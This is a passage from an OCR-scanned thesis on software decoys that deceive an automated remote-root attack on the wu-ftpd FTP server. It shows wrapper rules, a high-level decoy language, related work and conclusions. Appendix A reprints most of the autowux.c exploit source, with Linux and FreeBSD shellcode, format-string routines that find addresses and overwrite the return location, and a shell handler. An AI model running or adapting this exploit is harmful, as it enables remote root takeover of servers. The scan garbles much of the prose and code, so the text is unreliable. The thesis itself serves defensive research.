Step  6  poses  a  challenge,  because,  during  this  phase  of  the  attack,  the  server 
crashes  several  times.  One  way  of  simulating  this  is  by  making  the  ftp  server  close  the 
connection.  If,  during  a  read  operation,  we  change  the  value  of  $sizeret  to  zero,  the 
ftp  server  will  think  that  it  reached  the  end  of  file  (EOF)  and  close  the  connection. 

/*  STEP  6a  */ 

case  op{read}  &&  step  (((char  *)$iobuf)  =~  m|"^SITE  EXEC  %"|  ) 

post  { 

char  *  newbuf; 

if  ((((char  *)$iobuf)  =~  m|""SITE  EXEC  %3093$x"|) 


II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3094$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3127$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3144$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3145$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3150$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3151$x" 1 

II  ( ( (char 

*) 

$iobuf ) 

m  1 

"^SITE 

EXEC 

%3152$x" 1 

$sizeret  = 

0; 

/*  EOF 

*/ 

}  else  { 

/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 
newbuf  =  wr_strdup ( "NOOP\n\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6; 

} 

}; 
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C.  HIGH-LEVEL  SPECIFICATION 

The  high-level  specilieation  follows  exaetly  the  sequence  of  steps  of  the  low-level 
wrapper  specification.  The  complete  high-level  specification  of  the  decoy  is  listed  in 
Appendix  B.  The  most  important  parts  of  the  specification  will  be  discussed  here. 

The  first  part  of  the  specification  contains  the  declarations  of  the  events  and  their 
attributes.  We  declare  two  events:  read  and  write. 

event  read(iobuf,  sizeret) 

event  write (iobuf,  sizeret,  nytes) 

Next,  we  specify  a  rule  for  each  step  in  the  wrapper  definition.  Each  rule  is 
assigned  a  label.  The  labels  are  later  used  in  the  specification  of  the  sequence  of  the  rules. 
Step  1  is  a  rule  with  no  action  part.  It  only  has  a  detect  part.  When  the  specified  event 
pattern  is  detected,  the  decoy  proceeds  to  the  next  step  waiting  for  the  next  event  to  be 
detected. 

/*  STEP  1  */ 
step_l : : 
detect  x:  read 

&  post  (iobuf (x)  ==  shellcode) 
from  execute-program 

Step  2  contains  three  rules.  The  logic  in  these  rules  is  the  same  as  in  the  wrapper 
definition,  but  the  syntax  is  much  more  simple.  The  simplicity  of  the  syntax  is  more 
evident  in  string  assignment  operations.  In  the  wrapper  definition,  four  lines  of  code  are 
required  to  change  the  value  of  a  string: 

char  *  newbuf; 

newbuf  =  wr_strdup ( "NOOP\n\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

The  high-level  specification  requires  only  one  line: 

iobuf (x)  =  "NOOP\n\n" 
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/*  STEP  2a  */ 
step_2a : : 
detect  x:  read 

&  post  (iobuf(x)  ==  "SITE  EXEC  %.f") 
from  execute-program 


iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 


/*  STEP  2b  */ 
step_2b : : 
detect  x:  write 

&  pre  (iobuf (x)  ==  "^200") 
from  execute-program 


iobuf (x)  =  "200 — 2\r\n" 
sizeret (x)  =  8 


/*  STEP  2c  */ 
step_2c : : 
detect  x:  write 

&  pre  (iobuf (x)  ==  "^500") 
from  execute-program 


iobuf (x)  =  "200  (end  of  '%.f')\r\n" 
sizeret (x)  =  21 


Steps  3  through  8  are  speeified  in  a  similar  manner.  The  part  of  the  deeoy 
speeifieation  that  does  the  actual  work  is  the  last  one,  where  we  specify  a  complex  rule, 
named  ftp_decoy,  consisting  of  the  sequence  of  all  the  rules.  Here,  it  is  apparent  how 
easy  it  is  to  follow  the  sequence  of  the  rules  if  we  are  using  the  high-level  language. 


ftp_decoy :  : 

step_l  step_2a  step_2b  step_2c 
(step_3_4_a  step_3_4_b  step_3_4_c) * 
step_5  (step_5a  step_5b  step_5c) * 
step_6_I  (step_6a_I  step_6b_I  step_6c_I)* 
step_6_7_II  (step_6a_II  step_6b_II  step_6c_II)* 
step_8a  step_8b  step_8c  step_8d 


D,  DISCUSSION 

This  wrapper  shows  that  deceiving  network-launched  attacks  can  be  quite  simple. 
The  attacker  can  observe  the  status  of  the  victim  computer  only  through  the  network.  We 
can  manipulate  the  network  traffic  and  thus  make  the  attacker  believe  whatever  we  want. 

Although  this  wrapper  deceives  the  attacker  into  believing  that  the  attack  was 
successful,  the  deception  ends  when  the  attacker  tries  to  interact  with  the  shell.  The  shell 
functionality  is  not  simulated  and  so  the  attacker  will  immediately  discover  that 
something  went  wrong.  There  are  solutions  to  this  problem.  A  library  could  provide  all 
the  shell  functionality,  and  be  used  to  maintain  the  deception.  An  alternative  solution 
could  be  to  transfer  the  attacker  to  another  virtual  machine  where  everything  is  simulated 
such  as  a  honeypot  or  sandbox.  To  do  this  using  the  high-level  language  we  could  issue  a 
command  like  this: 

do  transfer  to  new_host 

Where  the  command  transfer  transfers  the  interaction,  including  a  copy  of  the  decoy 
itself,  to  the  machine  new_host. 
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VI.  RELATED  WORK 


Vigna  et  al.  used  the  term  “attaek  languages”  in  [4]  to  deseribe  all  the  languages 
that  are  used  in  intrusion  deteetion  and  response.  They  elassify  these  languages  into  six 
elasses:  event  languages,  response  languages,  reporting  languages,  eorrelation  languages, 
exploit  languages,  and  deteetion  languages.  The  software  deeoy  meehanism  needs 
support  from  a  language  that  shares  eharaeteristies  with  all  of  these  classes,  but  more 
important  by  a  language  with  well-defined  detection  and  response  mechanisms. 

Sekar  et  al.  [5]  developed  a  high-level  specification  language,  the  Auditing 
Specification  Language  (ASL)  [6],  as  part  of  their  effort  to  make  information  systems 
survivable.  Their  goal  was  to  make  systems  capable  of  operating  and  offering  their 
services  even  in  the  presence  of  vulnerabilities.  This  is  achieved  by  detecting  attacks  in 
real-time  and  isolating  them  before  they  can  cause  significant  levels  of  damage. 

Detection  is  based  on  specifications,  making  it  possible  to  detect  not  only  known, 
but  also  newly  discovered  attacks.  A  program’s  intended  behavior  is  described  with  the 
help  of  ASL  as  a  set  of  assertions.  Any  behavior  not  conforming  to  these  assertions  is 
treated  as  an  intrusion.  A  process’  behavior  is  observed  through  the  system  calls  that  it 
makes.  Every  system  call  generates  two  events,  one  for  the  entry  to  the  system  call,  and 
one  for  the  exit.  Observing  system  calls  provides  for  protecting  programs  without  having 
to  modify  their  source  code. 

An  ASL  specification  involves  a  series  of  rules.  Each  rule  consists  of  an  event 
pattern  and  an  action.  An  event  pattern  contains  an  event  and  a  Boolean  expression  on  the 
system  call’s  arguments.  When  the  expression  evaluates  to  true,  then  the  action  part  of 
the  rule  is  executed.  The  action’s  main  purpose  is  to  isolate  the  process  prohibiting  it  to 
damage  the  system.  The  action  can  also  use  deception,  as  part  of  an  effort  to  trace  the 
attacker. 

The  ASE  specifications  are  compiled  into  C++  classes,  which  are  then  used  to 
generate  detection  engines. 
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Vigna  et  al.  in  [7],  [8]  and  [9]  recognized  the  need  for  a  language  that  would  be 
independent  of  the  environment  that  it  would  be  utilized,  so  they  developed  STATL. 
They  included  in  the  language  only  those  features  of  an  attack  that  are  domain- 
independent.  The  language  can  be  extended  with  the  help  of  extension  modules  that 
contain  domain-specific  types,  variables,  and  events. 

STATL  was  created  to  support  the  “State  Transition  Analysis  Technique”  for 
detecting  intrusions.  Attack  scenarios  are  described  as  a  series  of  states  and  transitions. 
Each  scenario  has  a  starting  state  and  an  ending  state.  When  the  scenario  is  in  the  starting 
state,  the  system  is  considered  to  be  safe.  When  the  scenario  reaches  the  end  state,  it  is 
considered  to  be  compromised.  Although  the  language  is  text-based,  it  is  also  possible  to 
describe  an  attack  graphically,  using  state  transition  diagrams. 

Each  transition  has  an  action  associated  with  it,  which  is  the  event  that  causes  the 
transition  to  occur.  In  order  to  abstract  away  the  details  of  the  modeled  attacks,  only  the 
events  without  which  the  attack  would  fail  are  used.  Eurther  abstraction  is  achieved  by 
describing  the  actions  using  higher-level  representations,  so  that  actions  with  the  same 
effect,  but  different  implementations,  can  have  the  same  representation.  There  are  three 
types  of  transitions:  nonconsuming,  consuming,  and  unwinding.  Nonconsuming 
transitions  do  not  invalidate  the  source  state,  thus  making  it  possible  for  new  instances  of 
attacks  to  be  initiated  from  the  previous  state.  Consuming  transactions  make  the  previous 
state  invalid.  Unwinding  transactions  are  those  that  return  the  system  to  a  previous  state. 

The  attack  scenarios  are  compiled  into  dynamically  linked  modules  called 
scenario  plugins. 

Ko  et.  al.  [10]  used  the  Generic  Software  Wrappers  Toolkit  trying  to  integrate 
intrusion  detection  and  response  functions  into  the  kernel.  They  use  Software  Wrappers 
as  state  machines  that  intercept  system  calls.  System  calls  are  intercepted  both  before  and 
after  their  execution. 

Wrappers  are  defined  using  the  Wrapper  Definition  Eanguage  (WDE).  The 
language  describes  the  events  that  are  going  to  be  intercepted  and  the  actions  that  the 
wrapper  will  take  when  these  events  are  detected.  The  WDE  specifications  are  compiled 
with  the  help  of  the  Wrapper  Compiler  (WrapC)  into  native  code. 
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The  Wrapper  Support  Subsystem  (WSS)  faeilitates  the  configuration  and 
management  of  the  wrappers.  The  wrapper  modules  are  inserted  into  the  kernel 
dynamically.  Once  a  wrapper  is  loaded  into  the  kernel  it  can  wrap  any  process  according 
to  activation  criteria  defined  by  the  administrator.  Wrappers  can  be  layered.  Additionally 
more  than  one  wrapper  can  be  associated  with  a  program  at  the  same  time,  each  one 
implementing  a  different  detection  technique. 

Finally,  Templeton  et.  al.  in  [11]  argues  that  current  intrusion  detection 
techniques  fail  to  detect  multi-staged  attacks,  unknown  attacks,  or  variations  of  known 
attacks.  Their  approach  treats  attacks  as  a  set  of  capabilities.  An  attack  is  described  as  a 
set  of  abstract  attack  concepts.  Each  concept  requires  certain  capabilities  and  provides 
some  capabilities  to  other  concepts. 

They  have  developed  a  language  called  JIGSAW  to  model  the  capabilities  and  the 
abstract  concepts.  For  each  concept,  the  model  lists  the  capabilities  that  it  requires  and  the 
capabilities  that  it  provides. 

This  approach  can  be  used  to  discover  new  attacks  or  coordinated  attacks  across 
many  systems. 
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VII.  CONCLUSION  AND  FUTURE  WORK 


The  concept  of  intelligent  software  decoys  has  only  begun  to  be  explored. 
Nevertheless,  their  potential  value,  in  protecting  critical  information  systems,  is  apparent. 
The  work  presented  in  this  thesis  addresses  one  aspect  of  decoy  technology:  the 
automatic  instrumentation  of  software  with  detection  and  response  capabilities. 

New  constructs  and  new  concepts  were  added  to  the  high-level  decoy 
specification  language,  introduced  by  Michael  et  al.  [2],  improving  its  richness  and 
expressiveness.  This  made  it  richer  and  more  expressive.  At  the  same  time,  it  was  kept  at 
a  very  high  level,  so  that  it  can  be  used  by  information  warriors  who  may  be  unfamiliar 
with  the  low-level  details  of  how  software  decoys  are  implemented. 

The  case  study  serves  as  the  basis  for  demonstrating  the  expressiveness  of  the 
high-level  language  to  specify  decoy  actions.  The  autowux.c  program  is  a  real-life 
automated  attack  on  wu-ftpd  that  can  be  repeated  many  times,  so  that  different  deception 
techniques  could  be  tested.  The  results  of  this  experiment  were  satisfactory,  since  the 
manually  crafted  wrapper  managed  to  deceive  the  attack  program.  However,  it  remains  to 
be  seen  whether  the  user  of  the  attack  program  would  be  fooled  -  this  is  left  for  future 
research. 

The  Generic  Software  Wrapper  Toolkit  proved  to  be  a  valuable  tool.  It  provides 
control  over  the  behavior  of  a  process  through  the  manipulation  of  the  system  calls  made 
by  processes.  The  only  problem  is  that  the  wrapper  definitions  are  at  a  very  low-level, 
and  developing  them  requires  a  very  good  knowledge  of  the  system  calls,  their 
parameters,  and  their  behavior.  As  a  result,  the  wrapper  definitions  are  often  complicated 
and  difficult  to  understand.  The  proposed  high-level  decoy  specification  language 
reduces  the  complexity  of  the  definitions,  making  it  easier  for  non-technical  people  to 
write  and  understand  these  definitions. 

The  detection  and  response  to  the  attack  on  wu-ftpd  can  be  made  more  generic  so 
that  it  can  handle  variations  of  the  original  attack  or  similar  attacks.  Now  it  is  closely  tied 
to  the  specific  sequence  of  actions  implemented  by  the  autowux .  c  program.  A  simple 
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change  in  the  order  that  the  attack  steps  are  carried  out  ean  result  in  the  attack  being 
undetected,  unless  the  software  decoy  also  adapts  its  detection  and  response  accordingly 
-  this  is  the  “intelligent”  aspect  of  the  runtime  behavior  of  software  decoys. 

For  the  purposes  of  the  case  study  the  wrapper  specifieations  required  by  the 
Generic  Software  Wrapper  Toolkit  were  developed  manually.  In  the  future,  a  compiler 
that  will  automatically  create  wrapper  definitions  from  high-level  definitions  has  to  be 
developed  so  that  wrappers  ean  be  rapidly  generated  and  put  into  operation.  The  sheer 
number  of  deeoys  and  the  frequency  of  the  changes  to  their  speeification  make  manual 
translation  unattraetive,  if  not  impractieal. 

Most  attacks  result  in  the  attaeker  gaining  root  access  to  the  system.  At  this  point, 
the  attacker  expects  to  have  full  eontrol  of  the  system  and  being  able  to  perform  every 
possible  operation.  It  would  be  helpful  if  a  library  were  developed,  that  would  simulate 
virtually  all  the  operations  of  the  operating  system. 

Finally,  more  case  studies  are  required  before  the  high-level  decoy  specification 
language  is  considered  to  be  stable.  We  have  only  looked  at  a  small  sample  of  the  wide 
spectrum  of  types  of  automated  attacks. 
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APPENDIX  A.  SOURCE  CODE  OF  THE  ATTACK  PROGRAM 


The  attack  program  consists  of  two  files.  The  file  autowux  .  c  contains  the  main 
program  and  the  file  net .  c  contains  some  network  related  helper  functions. 

A,  AUTOWUX,C 


/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 


autowux. c  -  wu-ftpd  remote  root  exploit  for  x86/linux  up  to  version  2.6.0 
4th  May  2001  by  justme 


compilation  :  gcc  -o  autowux  autowux. c  net . c 

usage  :  ./autowux  [-t  hostname]  [-v  version]  [-s  system  type]  [-h] 


greets  to  team  teso  whose  great  exploit  7350wu  influenced  also  my  coding 
although  the  functions  to  bruteforce  the  addresses  (especially  the  eip 
location)  are  quite  different,  and  also  greets  to  pascal  bouchareine  whose 
tutorial  about  format  strings  gave  me  the  basic  knowledge  about  this 
interesting  security  whole. 


I've  tested  the  exploit  on  different  wu-ftpd  versions  on  linux  and  it 
should  also  work  under  BSD  although  I  haven't  tested  it  yet. 
to  make  the  exploit  work  you  still  need  anonymous  access  although  I  will 
try  to  change  this,  beside  this,  it  should  work  quite  well,  but  if  you  have 
any  sort  of  problem  with  it  or  any  question  about  the  way  it  works,  just 
send  an  e-mail  to  < justme@hot-shot . com> 


/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 

/ 


#include 

#include 

#include 

#include 

#include 

#include 


<stdio . h> 
kstdlib . h> 
kstring . h> 
<sys/socket . h> 
kunistd . h> 

<net inet /in . h> 
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#include  <fcntl.h> 


#def ine 

NORM 

"\033 

[Om" 

#def ine 

GREEN 

"\033 

[  32m 

#def ine 

RED 

"\033 

[31m 

#def ine 

BLUE 

"\033 

[34m 

#def ine 

BROWN 

"\033 

[33m 

/***  where  to  start  and  end  searching  the  buffer  address  ***/ 


#def ine 

START 

Oxbf f fdbac 

#def ine 

END 

Oxbf f f f ef e 

#def ine 

STEP 

0x70 

int 

diststart ; 

char 

*hostname  =  "localhost 

char 

*shellcode  =  NULL; 

char 

user [512] ; 

char 

pass [512]  ; 

int 

dist  =  0; 

int 

align  =  0; 

long 

retloc  =  0x0; 

long 

retaddr  =  0x0; 

long 

firstaddr  =  0x0; 

char  linux_shellcode [ ]  =  /*  LamSrZ  chroot ()  code  */ 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
" \x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31 " 
" \xdb\x43\x89\xd9\x41\xb0\x3f \xcd\x80\xeb\x6b\x5e\x31 " 
"\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff" 
"  \  xO 1 \xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x0 I\xb0\x3d\xcd" 
" \x8  0 \x31\xc0\x31\xdb\x8d\x5e\x08\x8  9\x4  3\x02\x31\xc9 " 
" \xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9" 
"  \x7  5\xf 3\x31\xc0\x88\x4  6\x0  9\x8d\x5e\x08\xb0\x3d\xcd" 
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88" 
"\x46\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08" 
" \x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x0 1 " 
"\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69" 
"\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; 


char  bsd_shellcode [ ]  =  /*  Lam3rZ  chroot{)  code  rewritten  for  FreeBSD  by  venglin 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 

" \x31 \xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0 " 
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" \x43\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e" 
"\x31\xc0\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01" 
" \x53\x53\xb0\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53 " 
" \xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43 " 
"\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\x53\x53\xb0" 
" \x0c\xcd\x80\xfe\xc9\x75\xf I\x31\xc0\x88\x46\x09\x8d" 
" \x5e\x08\x53\x53\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe" 
"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" 
"\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\x52\x51\x53" 
"  \x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53\xb0\x01 " 
"\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30\x62\x69" 
"\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67" 
"\x6c\x69\x6e"; 


int  check_vuln ( int  sock) 

{ 

char  execbuf [512]  ; 

char  recvbuf [ 512 ]  ; 

memset (execbuf ,  '\0',  512); 

strcpy (execbuf ,  "SITE  EXEC  %.f\r\n"); 

net_send ( sock,  execbuf,  strlen (execbuf )) ; 
net_recv (sock,  recvbuf,  sizeof (recvbuf) ) ; 

return  (( (strchr (recvbuf ,  '?'))  II  ! memcmp ( recvbuf ,  "500",  3))  ?  0  :  1) 

} 

int  finddist(int  sock) 

{ 

int  X  =  diststart; 

char  sendbuf [1024] ; 

char  recvbuf [1024] ; 
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while  (1) 


fprintf ( stderr, 

sprintf ( sendbuf ,  "SITE  EXEC  @@@@@@@%%%d$x\r\n" ,  x) ; 
net_send ( sock,  sendbuf,  strlen (sendbuf ) ) ; 
net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 
if  ( strstr ( recvbuf ,  "40404040")  !=  NULL) 

{ 

/***  make  sure  that  you  read  everything  the  ***/ 
/***  server  sends  before  you  go  on  ***/ 

net_recv (sock,  recvbuf,  sizeof (recvbuf) ) ; 
return  x; 


net_recv (sock,  recvbuf, 

X++; 


sizeof (recvbuf)  )  ; 


int  getalign(int  sock) 

{ 

char  sendbuf [1024]  ; 

char  recvbuf [1024]  ; 

int  X  =  0; 

sprintf ( sendbuf ,  "SITE  EXEC  @@@@@@@%%%d$x\r\n" ,  dist  -  1); 
net_send (sock,  sendbuf,  strlen (sendbuf ) ) ; 
net_recv (sock,  recvbuf,  sizeof (recvbuf) ) ; 
if  (strstr (recvbuf ,  "404040")) 

X  =  3; 

else  if  (strstr (recvbuf ,  "4040")) 

X  =  2; 
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else  if  (strstr (recvbuf ,  "40")) 


X  =  1; 

net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 
return  (x) ; 


long  findretaddr (sock) 


{ 


int 

x; 

char 

execbuf 

[1024 

char 

sendbuf 

[1024 

char 

recvbuf 

[1024 

char 

nopbuf [ 

10]  ; 

sprint f  (nopbuf ,  "\x90\x90\x90\x90\x90\x90\x90\x90\x90") 
memset (execbuf ,  '\0',  1024); 

strcpy (execbuf ,  "SITE  EXEC  "); 
for  (x  =  align;  x  >  0;  x — ) 

strcat (execbuf,  "@"); 
for  (x  =  START;  x  <  END;  x  +=  STEP) 

{ 


fprintf ( stderr,  "#"); 

sprintf (sendbuf,  "%s%c%c%c%c%c#%%%d$s\r\n". 


execbuf. 

(x  & 

OxOOOOOOff ) , 

(x  & 

OxOOOOffOO) 

>> 

8 

(x  & 

OxOOffOOOO) 

>> 

16 

!  -k  -k  -k 

escaped  Oxff 

k  k  k  ! 

(x  & 

OxOOffOOOO) 

» 

16 

(x  & 

OxffOOOOOO) 

» 

24 

dist 
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net_send ( sock,  sendbuf,  strlen (sendbuf ) ) ; 
net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 
if  ((( strstr ( recvbuf ,  " @aol . com" ) )  !=  NULL) 

&&  memcmp ( strstr ( recvbuf ,  "#")  +  1,  nopbuf,  9) 

{ 


net_recv (sock,  recvbuf,  sizeof (recvbuf) ) ; 


0) 


return  (x) ; 


net_recv (sock,  recvbuf,  sizeof (recvbuf) ) ; 

} 

fprintf ( stderr,  NORM  "  failed,  exiting ... \n\n" ) ; 

exit  (-1 ) ; 

} 


void  f indf irst ( int  sock) 


int 

x; 

char 

sendbuf [ 

1024] 

char 

recvbuf [ 

1024] 

int 

step  =  1 

<<  7 

net_set_nonblock (sock)  ; 


/***  finds  the  offset  of  Oxfffffffc  to  find  out  the  address  of  ***/ 
/***  offset  0x0  and  finally  the  eip  location  which  is  just  ***/ 

/***  BEFORE  offset  0x0  (about  at  -OxOc)  ***/ 

memset (sendbuf ,  '\0',  1024); 

for  (x  =  dist  +  1;  ;  X  +=  step) 

{ 

fprintf (stderr,  "#" ) ; 

sprintf ( sendbuf ,  "SITE  EXEC  %%%d$x\r\n",  x)  ; 
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net_send ( sock,  sendbuf,  strlen (sendbuf ) ) ; 
usleep  (500000) ; 

if  (recv(sock,  recvbuf,  sizeof (recvbuf ) ,  0)  <= 
{ 

if  (step  !=  1) 

{ 

close (sock) ; 

sock  =  net_connect (hostname ) ; 
net_ftp_login ( sock,  user,  pass) 
net_set_nonblock (sock) ; 

X  -=  (step  -  1  +  step  /  2) ; 
step  /=  2; 
continue ; 

} 

else 

break; 

recv(sock,  recvbuf,  sizeof (recvbuf ) ,  0) 


recv(sock,  recvbuf,  sizeof (recvbuf ) ,  0); 

} 

close  (sock) ; 

firstaddr  =  Oxbffffffc  -  ( — x  -  1)  *  4; 

} 

long  findrl(int  sock) 

{ 


int 

x; 

char 

execbuf | 

;i024 

char 

sendbuf | 

;i024 

char 

recvbuf | 

;i024 

char 

*str ; 

char 

c; 
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findfirst (sock)  ; 


/***  a  reconnection  is  necessary  because  we  made  the  server  crash  :)  ***/ 
sock  =  net_connect (hostname ) ; 

net_ftp_login ( sock,  user,  pass); 

memset (execbuf ,  '\0',  1024); 

memset (sendbuf ,  '\0',  1024); 

strcpy (execbuf ,  "SITE  EXEC  "); 
for  (x  =  align;  x  >  0;  x — ) 

strcat (execbuf,  "@"); 

x  =  firstaddr  -  1; 

do 

{ 

X  -=  4; 

fprintf ( stderr,  "#"); 
if  (((X  &  OxOOOOOOff)  ==  Oxff)) 
continue ; 

sprintf (sendbuf,  "%s%c%c%c%c%c#%%%d$s\r\n", 
execbuf, 

(x  &  OxOOOOOOff) , 

(X  &  OxOOOOffOO)  >>  8, 

(X  &  OxOOffOOOO)  >>  16, 

/***  escaped  Oxff  ***/ 

(x  &  OxOOffOOOO)  >>  16, 

(x  &  OxffOOOOOO)  »  24, 

dist 

)  ; 

net_send ( sock,  sendbuf,  strlen (sendbuf )) ; 
net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 
if  ( (str  =  strchr (recvbuf ,  '#'))  ==  NULL) 
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close (sock) ; 


{ 


fprintf ( stderr,  NORM  "  failed,  exiting . \n\n" 
exit  (-1 ) ; 

} 

c  =  * (++str)  ; 

net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 

}  while  (c  !=  'i')}  /***  ^  =  Oxbf  ***/ 

return  (++x) ; 

} 

void  exploit (int  sock) 

{ 

int  x; 

char  execbuf  [1024] ; 
char  sendbuf  [1024] ; 
char  recvbuf  [  1024 ] ; 

char  *str; 

char  bO  [255] ; 

char  bl[255]; 

char  b2  [255] ; 

char  b3  [255] ; 

int  aO; 

int  al; 

int  a 2; 

int  a3; 

int  a4; 

int  a5; 

int  a6; 

int  a7; 
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memset (bO , 

'\0', 

.  255) 

memset (bl. 

'\0', 

.  255) 

memset (b2 , 

'\0', 

.  255) 

memset (b3 , 

'\0', 

.  255) 

/***  bytes  of  the  return  address  ***/ 
aO  =  (retaddr  &  OxOOOOOOff) ; 

al  =  (retaddr  &  OxOOOOffOO)  >>  8; 

a2  =  (retaddr  &  OxOOffOOOO)  >>  16; 

a3  =  (retaddr  &  OxffOOOOOO)  >>  24; 

/***  bytes  of  the  return  location  ***/ 
a4  =  (retloc  &  OxOOOOOOff) ; 

a5  =  (retloc  &  OxOOOOffOO)  >>  8; 

a6  =  (retloc  &  OxOOffOOOO)  >>  16; 

a7  =  (retloc  &  OxffOOOOOO)  >>  24; 

if  (aO  <  (0x10  +  align) ) 
aO  =  0x10  +  align; 

/***  al  has  to  be  greater  or  at  least  equal  to  ***/ 
/***  aO  because  the  bytes  written  by  %n  are  ***/ 
/***  always  increasing  (evidently  :))  ***/ 

if  (aO  >  al) 

a  0  =  a  1  ; 

fprintf ( stderr,  BLUE 

"\treturn  address  :  0x%x\n" 
"\treturn  location  :  0x%x\n" 

NORM, 

retaddr, 

retloc 
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align) ; 


memset  (bO, 

aO  - 

0x10  -  align) 

memset  (bl , 

al  - 

aO )  ; 

memset (b2 , 

a2  - 

al)  ; 

memset (b3 , 

0x100 

1  +  a3  -  a2 ) ; 

memset (execbuf. 

'\0', 

1024)  ; 

strcpy (execbuf ,  "SITE  EXEC  "); 
for  (x  =  align;  x  >  0;  x — ) 
strcat (execbuf, 


sprint f ( sendbuf ,  " %s " 

"%c%c%c%c%c" 

"%c%c%c%c%c" 

"%c%c%c%c%c" 

"%c%c%c%c%c" 

"%s%%%d$n" 

"%s%%%d$n" 

"%s%%%d$n" 

"%s%%%d$n" 

"  \  r  \  n  "  , 
execbuf , 


a4, 

.  a5. 

a6. 

a6. 

aV, 

a4 

+  1/ 

a5. 

a6. 

a6. 

a7 

a4 

+  2, 

a5. 

a6. 

a6. 

a7 

a4 

+  3, 

a5. 

a6. 

a6. 

a7 

bO,  dist,  bl,  dist  +  1,  b2,  dist  +  2,  b3, 

)  ; 

net_send (sock,  sendbuf,  strlen (sendbuf ) ) ; 
sleep  (2 )  ; 

net_reGv { sock,  recvbuf,  sizeof (recvbuf ) ) ; 
strcpy (sendbuf ,  ("id\n")); 


dist  +  3 
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net_send ( sock,  sendbuf,  strlen (sendbuf ) ) ; 

net_recv (sock,  recvbuf ,  sizeof (recvbuf ) ) ; 

if  (memcmp ( recvbuf ,  "uid=",  4)  !=  0) 

{ 

fprintf ( stderr,  RED 

"\nl'm  sorry,  but  the  exploit  failed,  exiting . \n\n" 
NORM) ; 

exit (-1 ) ; 

} 

strcpy ( sendbuf ,  "id;  uname  -a;  pwd\n"); 
net_send (sock,  sendbuf,  strlen (sendbuf ) ) ; 


void  shell (int  sock) 

{ 

int  x; 

char  buf [512] ; 

fd_set  rfdset; 

FD_ZERO (Srfdset) ; 

while  (1) 

{ 

FD_SET (STDIN_FILENO,  Srfdset); 

